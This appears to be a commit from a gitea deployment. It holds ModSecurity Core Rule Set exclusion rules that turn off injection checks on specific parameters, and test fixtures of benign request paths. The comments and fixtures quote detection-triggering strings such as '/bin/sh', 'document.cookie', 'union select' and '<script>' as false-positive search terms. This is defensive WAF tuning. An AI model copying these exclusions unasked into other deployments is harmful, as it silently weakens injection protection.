# rules it switches off, those of phase 1 included, so this file is loaded before
# the Core Rule Set's rules. Each comment names a request the rule refused.
# gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there:
# 930110: ../
# 930120: .gitignore
# 931100: http://127.0.0.1:8080
# 932120: Invoke-WebRequest
# 932130: $(pwd)
# 932140: if (a == b) {
# 932160: /bin/sh
# 932235: `make check`
# 932250: ls -la
# 932260: python3
# 932380: `whoami`
# 933100: <?php echo
# 933130: $_GET[
# 933135: ${VAR}
# 934100: process.env
# 934110: http://127.0.0.1:8080
# 934130: __proto__
# 941100: <script>
# 941110: <script>
# 941160: <img src=
# 941180: document.cookie
# 941390: fetch(
# 942100: SELECT * FROM users WHERE
# 942140: information_schema
# 942190: union select
# 942230: if (a == b) {
# 944100: java.lang.Runtime
# 944110: java.lang.Runtime
# 944130: java.lang.Runtime
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of one of those searches has the search's
# address in Referer, which skips these rules then:
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
issues(?:/search)?|pulls|[^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
"id:900601,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# gitea's searches of repositories, users, branches, tags and packages send a
# name in q, which skips these rules there:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
# 944130: org.apache.commons.logging
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
"id:900602,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# gitea's other searches for a name send it in q too, which skips only these
# rules there:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
# The searches:
# - the dashboard's filter of repositories;
# - the repositories on a user's or an organisation's page, whose path has
# one segment;
# - the author filter of the issue and pull request lists;
# - the lists of users and organisations, and the API's search for users.
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
explore/(?:users|organizations)|api/v1/users/search|\
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
"id:900603,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~
# 934100: process.env.d.ts
# 941130: docs/a b.xhtml
# 944130: java.lang.String.md
# The requests:
# - a file's page, raw file and download;
# - its blame, history, edit, preview and delete pages;
# - the API's call for its contents;
# - a release attachment's download.
SecRule REQUEST_FILENAME \
"@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/(?:src|raw|media|blame|commits|_edit|_preview|_delete|contents|releases/download)/" \
"id:900610,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=934100;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=941130;REQUEST_FILENAME,\
ctl:ruleRemoveTargetById=944130;REQUEST_FILENAME"
# The requests below name a file in a query parameter. These rules refused
# them for the file named:
# 930120: .gitignore
# 932120: install-script.sh
# 932130: [draft].md
# 932160: bin/docker-entrypoint
# 932260: docker-compose.yml
# 934100: process.env.d.ts
# 934130: __proto__.json
# 941130: index.xhtml
# 941180: document.write.js
# 942140: information_schema.sql
# 944110: java/lang/Runtime.java
# 944130: java.lang.String.md
# Each request skips the rules that refused it. The fourth change already has
# path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
"id:900620,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932160;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file,\
ctl:ruleRemoveTargetById=934100;ARGS:file,\
ctl:ruleRemoveTargetById=934130;ARGS:file,\
ctl:ruleRemoveTargetById=941130;ARGS:file,\
ctl:ruleRemoveTargetById=941180;ARGS:file,\
ctl:ruleRemoveTargetById=942140;ARGS:file,\
ctl:ruleRemoveTargetById=944110;ARGS:file,\
ctl:ruleRemoveTargetById=944130;ARGS:file"
# The API's list of a file's commits, in path.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/commits$" \
"id:900621,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:path,\
ctl:ruleRemoveTargetById=934100;ARGS:path,\
ctl:ruleRemoveTargetById=934130;ARGS:path,\
ctl:ruleRemoveTargetById=941130;ARGS:path,\
ctl:ruleRemoveTargetById=941180;ARGS:path,\
ctl:ruleRemoveTargetById=942140;ARGS:path,\
ctl:ruleRemoveTargetById=944110;ARGS:path,\
ctl:ruleRemoveTargetById=944130;ARGS:path"
# The API's call for the contents of several files, in body, as JSON.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/file-contents$" \
"id:900622,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:body,\
ctl:ruleRemoveTargetById=932120;ARGS:body,\
ctl:ruleRemoveTargetById=932160;ARGS:body,\
ctl:ruleRemoveTargetById=934100;ARGS:body,\
ctl:ruleRemoveTargetById=934130;ARGS:body,\
ctl:ruleRemoveTargetById=941130;ARGS:body,\
ctl:ruleRemoveTargetById=941180;ARGS:body,\
ctl:ruleRemoveTargetById=942140;ARGS:body,\
ctl:ruleRemoveTargetById=944110;ARGS:body,\
ctl:ruleRemoveTargetById=944130;ARGS:body"
# An issue opened from a template, in template.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/issues/new$" \
"id:900623,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:template,\
ctl:ruleRemoveTargetById=932120;ARGS:template,\
ctl:ruleRemoveTargetById=932130;ARGS:template,\
ctl:ruleRemoveTargetById=932160;ARGS:template,\
ctl:ruleRemoveTargetById=932260;ARGS:template,\
ctl:ruleRemoveTargetById=934100;ARGS:template,\
ctl:ruleRemoveTargetById=934130;ARGS:template,\
ctl:ruleRemoveTargetById=941130;ARGS:template,\
ctl:ruleRemoveTargetById=941180;ARGS:template,\
ctl:ruleRemoveTargetById=942140;ARGS:template,\
ctl:ruleRemoveTargetById=944110;ARGS:template,\
ctl:ruleRemoveTargetById=944130;ARGS:template"
# The sign-in page on the way to a file's edit page, in redirect_to.
SecRule REQUEST_FILENAME "@rx ^/user/login$" \
"id:900624,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=934100;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=934130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=941130;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=941180;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=942140;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=944110;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=944130;ARGS:redirect_to"
# An attachment uploaded through the API to a release, an issue or a comment,
# in name.
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/(?:releases|issues|issues/comments)/[0-9]+/assets$" \
"id:900625,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name,\
ctl:ruleRemoveTargetById=934100;ARGS:name,\
ctl:ruleRemoveTargetById=934130;ARGS:name,\
ctl:ruleRemoveTargetById=941130;ARGS:name,\
ctl:ruleRemoveTargetById=941180;ARGS:name,\
ctl:ruleRemoveTargetById=942140;ARGS:name,\
ctl:ruleRemoveTargetById=944130;ARGS:name"
# A diff's hidden lines, fetched when shown, in path.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/blob_excerpt/[0-9a-f]+$" \
"id:900626,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:path,\
ctl:ruleRemoveTargetById=934100;ARGS:path,\
ctl:ruleRemoveTargetById=934130;ARGS:path,\
ctl:ruleRemoveTargetById=941130;ARGS:path,\
ctl:ruleRemoveTargetById=941180;ARGS:path,\
ctl:ruleRemoveTargetById=942140;ARGS:path,\
ctl:ruleRemoveTargetById=944110;ARGS:path,\
ctl:ruleRemoveTargetById=944130;ARGS:path"
# The requests below name a branch or tag in a query parameter, which skips
# the list of command names (932260) there. It refused names such as
# docker-build, python3-migration and feat/docker-support.
# Deleting or restoring a branch, in name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/(?:delete|restore)$" \
"id:900630,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:name"
# A release started from a tag, in tag.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/releases/new$" \
"id:900631,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:tag"
# A branch protection rule opened for editing, in rule_name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
"id:900632,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:rule_name"
# A directory listing's last commits, in refSubUrl.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
# An artifact upload from actions/upload-artifact@v3 sends the header
# Content-Range, which the Core Rule Set refused (920450).
SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
@@ -1,8 +1,7 @@
# Ordinary gitea requests that the Core Rule Set must let through with # Ordinary gitea 1.27 requests that the Core Rule Set must let through at the
# deploy/gitea/crs-exclusions.conf. Each line is a path and query, and may end # defaults. Each line is a path and query, and may end with one header after a
# with one header after a space. The tests of internal/waf inspect each as a GET, # space. The tests of internal/coreruleset inspect each as a GET. The Core Rule Set reads
# and script/gitea-setup sends each to gitea through the setup as a GET. The Core # the query and the headers the same way for any method.
# Rule Set reads the query and the headers the same way for any method.
# Searches with ordinary words and symbols. # Searches with ordinary words and symbols.
/owner/repo/search?q=package.json /owner/repo/search?q=package.json
@@ -47,35 +46,51 @@
/owner/repo/search?q=information_schema /owner/repo/search?q=information_schema
/owner/repo/search?q=LIKE%20%27%25foo%25%27 /owner/repo/search?q=LIKE%20%27%25foo%25%27
/owner/repo/search?q=onClick%3D%7B /owner/repo/search?q=onClick%3D%7B
/explore/repos?q=SELECT%20%2A%20FROM%20users%20WHERE
/explore/repos?q=%3Cimg%20src%3D
/explore/code?q=SELECT%20%2A%20FROM%20users%20WHERE /explore/code?q=SELECT%20%2A%20FROM%20users%20WHERE
/explore/code?q=%3Cimg%20src%3D /explore/code?q=%3Cimg%20src%3D
/owner/-/code?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/-/code?q=%3Cimg%20src%3D
/owner/repo/issues?type=all&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE /owner/repo/issues?type=all&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/issues?type=all&state=open&q=%3Cimg%20src%3D /owner/repo/issues?type=all&state=open&q=%3Cimg%20src%3D
/owner/repo/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/issues/search?q=%3Cimg%20src%3D
/owner/repo/pulls?q=SELECT%20%2A%20FROM%20users%20WHERE /owner/repo/pulls?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/pulls?q=%3Cimg%20src%3D /owner/repo/pulls?q=%3Cimg%20src%3D
/issues?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE /issues?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
/issues?type=your_repositories&q=%3Cimg%20src%3D /issues?type=your_repositories&q=%3Cimg%20src%3D
/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/issues/search?q=%3Cimg%20src%3D
/pulls?type=your_repositories&q=SELECT%20%2A%20FROM%20users%20WHERE
/pulls?type=your_repositories&q=%3Cimg%20src%3D
/owner/repo/commits/branch/main/search?q=SELECT%20%2A%20FROM%20users%20WHERE /owner/repo/commits/branch/main/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/commits/branch/main/search?q=%3Cimg%20src%3D /owner/repo/commits/branch/main/search?q=%3Cimg%20src%3D
/owner/repo/wiki/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/wiki/search?q=%3Cimg%20src%3D
/owner/repo/branches?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/branches?q=%3Cimg%20src%3D
/owner/repo/releases?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/repo/releases?q=%3Cimg%20src%3D
/owner/-/packages?q=SELECT%20%2A%20FROM%20users%20WHERE
/owner/-/packages?q=%3Cimg%20src%3D
/user/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/user/search?q=%3Cimg%20src%3D
/api/v1/repos/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/api/v1/repos/search?q=%3Cimg%20src%3D
/api/v1/repos/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE /api/v1/repos/issues/search?q=SELECT%20%2A%20FROM%20users%20WHERE
/api/v1/repos/issues/search?q=%3Cimg%20src%3D /api/v1/repos/issues/search?q=%3Cimg%20src%3D
/api/v1/repos/owner/repo/issues?q=SELECT%20%2A%20FROM%20users%20WHERE /api/v1/repos/owner/repo/issues?q=SELECT%20%2A%20FROM%20users%20WHERE
/api/v1/repos/owner/repo/issues?q=%3Cimg%20src%3D /api/v1/repos/owner/repo/issues?q=%3Cimg%20src%3D
# Searches for the names of repositories, users, branches, tags and packages.
/explore/repos?q=python3-app
/explore/repos?q=.profile
/explore/repos?q=powershell-scripts
/api/v1/repos/search?q=docker-build
/user/search_candidates?q=docker-ci
/owner/repo/branches?q=feat%2Fdocker-support
/owner/repo/tags?q=docker-v1.0
/owner/-/packages?q=python3-requests
/owner/-/packages?q=org.apache.commons.logging
/repo/search?q=python3-app
/repo/search?q=docker-build
/repo/search?q=powershell-scripts
/repo/search?q=.profile
/owner?tab=repositories&q=python3-app
/org?q=python3-app
/owner/repo/issues/posters?q=docker-ci
/owner/repo/pulls/posters?q=docker-ci
/explore/users?q=docker-ci
/explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci
# Pages, raw files and edit pages of files, and the API's call for their # Pages, raw files and edit pages of files, and the API's call for their
# contents. # contents.
/owner/repo/src/branch/main/package.json /owner/repo/src/branch/main/package.json
@@ -155,9 +170,36 @@
/owner/repo/_edit/main/notes.txt~ /owner/repo/_edit/main/notes.txt~
/api/v1/repos/owner/repo/contents/notes.txt~ /api/v1/repos/owner/repo/contents/notes.txt~
# The download, blame, history, delete and preview pages of the files above
# whose names the Core Rule Set checks in the path, and their downloads as
# release attachments.
/owner/repo/media/branch/main/notes.txt~
/owner/repo/blame/branch/main/notes.txt~
/owner/repo/commits/branch/main/notes.txt~
/owner/repo/_delete/main/notes.txt~
/owner/repo/media/branch/main/process.env.d.ts
/owner/repo/blame/branch/main/process.env.d.ts
/owner/repo/commits/branch/main/process.env.d.ts
/owner/repo/_delete/main/process.env.d.ts
/owner/repo/media/branch/main/docs/a%20b.xhtml
/owner/repo/blame/branch/main/docs/a%20b.xhtml
/owner/repo/commits/branch/main/docs/a%20b.xhtml
/owner/repo/_delete/main/docs/a%20b.xhtml
/owner/repo/media/branch/main/java.lang.String.md
/owner/repo/blame/branch/main/java.lang.String.md
/owner/repo/commits/branch/main/java.lang.String.md
/owner/repo/_delete/main/java.lang.String.md
/owner/repo/_preview/main/notes.txt~
/owner/repo/_preview/main/process.env.d.ts
/owner/repo/_preview/main/java.lang.String.md
/owner/repo/releases/download/v1.0/notes.txt~
/owner/repo/releases/download/v1.0/process.env.d.ts
/owner/repo/releases/download/v1.0/java.lang.String.md
/owner/repo/releases/download/v1.0/a%20b.xhtml
# File names in the query string: the commit graph of a file, the API's lists # File names in the query string: the commit graph of a file, the API's lists
# of its commits and of its contents, an issue opened from a template, and the # of its commits and of its contents, an issue opened from a template, the
# sign-in page on the way to its edit page. # sign-in page on the way to its edit page, and a diff's hidden lines.
/owner/repo/graph?file=package.json /owner/repo/graph?file=package.json
/api/v1/repos/owner/repo/commits?path=package.json /api/v1/repos/owner/repo/commits?path=package.json
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22package.json%22%5D%7D /api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22package.json%22%5D%7D
@@ -243,6 +285,14 @@
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22%5Bdraft%5D.md%22%5D%7D /api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22%5Bdraft%5D.md%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F%5Bdraft%5D.md /owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F%5Bdraft%5D.md
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F%5Bdraft%5D.md /user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F%5Bdraft%5D.md
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=process.env.d.ts&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=java.lang.String.md&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=install-script.sh&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=information_schema.sql&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=document.write.js&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=__proto__.json&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=index.xhtml&style=unified&direction=down&wiki=false
# File names of attachments uploaded through the API, to a release, an issue and # File names of attachments uploaded through the API, to a release, an issue and
# a comment. # a comment.
@@ -281,35 +331,41 @@
# An artifact upload from actions/upload-artifact@v3, which sends Content-Range. # An artifact upload from actions/upload-artifact@v3, which sends Content-Range.
/api/actions_pipeline/_apis/pipelines/workflows/1/artifacts/9b7c1f3a/upload?itemPath=artifact%2Freport.txt Content-Range: bytes 0-9/10 /api/actions_pipeline/_apis/pipelines/workflows/1/artifacts/9b7c1f3a/upload?itemPath=artifact%2Freport.txt Content-Range: bytes 0-9/10
# Branch and tag names in the query string: deleting a branch, starting a # Branch and tag names in the query string: deleting and restoring a branch,
# release from a tag, a branch protection rule, a directory listing's last # starting a release from a tag, a branch protection rule, a directory listing's
# commits, and a container image push that reuses a layer. # last commits, and a container image push that reuses a layer.
/owner/repo/branches?name=docker-build /owner/repo/branches/delete?name=docker-build&page=1
/owner/repo/branches/restore?branch_id=1&name=docker-build&page=1
/owner/repo/releases/new?tag=docker-build /owner/repo/releases/new?tag=docker-build
/owner/repo/settings/branches/edit?rule_name=docker-build /owner/repo/settings/branches/edit?rule_name=docker-build
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fdocker-build /owner/repo/lastcommit/main/src?refSubUrl=branch%2Fdocker-build
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fdocker-build /v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fdocker-build
/owner/repo/branches?name=feat%2Fdocker-support /owner/repo/branches/delete?name=feat%2Fdocker-support&page=1
/owner/repo/branches/restore?branch_id=1&name=feat%2Fdocker-support&page=1
/owner/repo/releases/new?tag=feat%2Fdocker-support /owner/repo/releases/new?tag=feat%2Fdocker-support
/owner/repo/settings/branches/edit?rule_name=feat%2Fdocker-support /owner/repo/settings/branches/edit?rule_name=feat%2Fdocker-support
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Ffeat%2Fdocker-support /owner/repo/lastcommit/main/src?refSubUrl=branch%2Ffeat%2Fdocker-support
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Ffeat%2Fdocker-support /v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Ffeat%2Fdocker-support
/owner/repo/branches?name=renovate%2Fdocker-build-push-action-6.x /owner/repo/branches/delete?name=renovate%2Fdocker-build-push-action-6.x&page=1
/owner/repo/branches/restore?branch_id=1&name=renovate%2Fdocker-build-push-action-6.x&page=1
/owner/repo/releases/new?tag=renovate%2Fdocker-build-push-action-6.x /owner/repo/releases/new?tag=renovate%2Fdocker-build-push-action-6.x
/owner/repo/settings/branches/edit?rule_name=renovate%2Fdocker-build-push-action-6.x /owner/repo/settings/branches/edit?rule_name=renovate%2Fdocker-build-push-action-6.x
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Frenovate%2Fdocker-build-push-action-6.x /owner/repo/lastcommit/main/src?refSubUrl=branch%2Frenovate%2Fdocker-build-push-action-6.x
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Frenovate%2Fdocker-build-push-action-6.x /v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Frenovate%2Fdocker-build-push-action-6.x
/owner/repo/branches?name=python3-migration /owner/repo/branches/delete?name=python3-migration&page=1
/owner/repo/branches/restore?branch_id=1&name=python3-migration&page=1
/owner/repo/releases/new?tag=python3-migration /owner/repo/releases/new?tag=python3-migration
/owner/repo/settings/branches/edit?rule_name=python3-migration /owner/repo/settings/branches/edit?rule_name=python3-migration
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fpython3-migration /owner/repo/lastcommit/main/src?refSubUrl=branch%2Fpython3-migration
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fpython3-migration /v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fpython3-migration
/owner/repo/branches?name=ansible-roles /owner/repo/branches/delete?name=ansible-roles&page=1
/owner/repo/branches/restore?branch_id=1&name=ansible-roles&page=1
/owner/repo/releases/new?tag=ansible-roles /owner/repo/releases/new?tag=ansible-roles
/owner/repo/settings/branches/edit?rule_name=ansible-roles /owner/repo/settings/branches/edit?rule_name=ansible-roles
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fansible-roles /owner/repo/lastcommit/main/src?refSubUrl=branch%2Fansible-roles
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fansible-roles /v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fansible-roles
/owner/repo/branches?name=whoami /owner/repo/branches/delete?name=whoami&page=1
/owner/repo/branches/restore?branch_id=1&name=whoami&page=1
/owner/repo/releases/new?tag=whoami /owner/repo/releases/new?tag=whoami
/owner/repo/settings/branches/edit?rule_name=whoami /owner/repo/settings/branches/edit?rule_name=whoami
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fwhoami /owner/repo/lastcommit/main/src?refSubUrl=branch%2Fwhoami
+487
View File
@@ -0,0 +1,487 @@
# Ordinary WordPress 7.1.4 requests, one JSON object a line, that the Core Rule
# Set must let through. Recorded from a browser and an API client, with the
# password, the cookies that sign in, the contents of uploaded files and the
# author of a plugin replaced.
{"method": "GET", "target": "/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/install.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/css/dashicons.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/css/buttons.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-admin/css/forms.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wp-includes/css/dist/base-styles/admin-schemes.min.css?ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/install.php", "Accept-Encoding: gzip, deflate"], "body": ""}
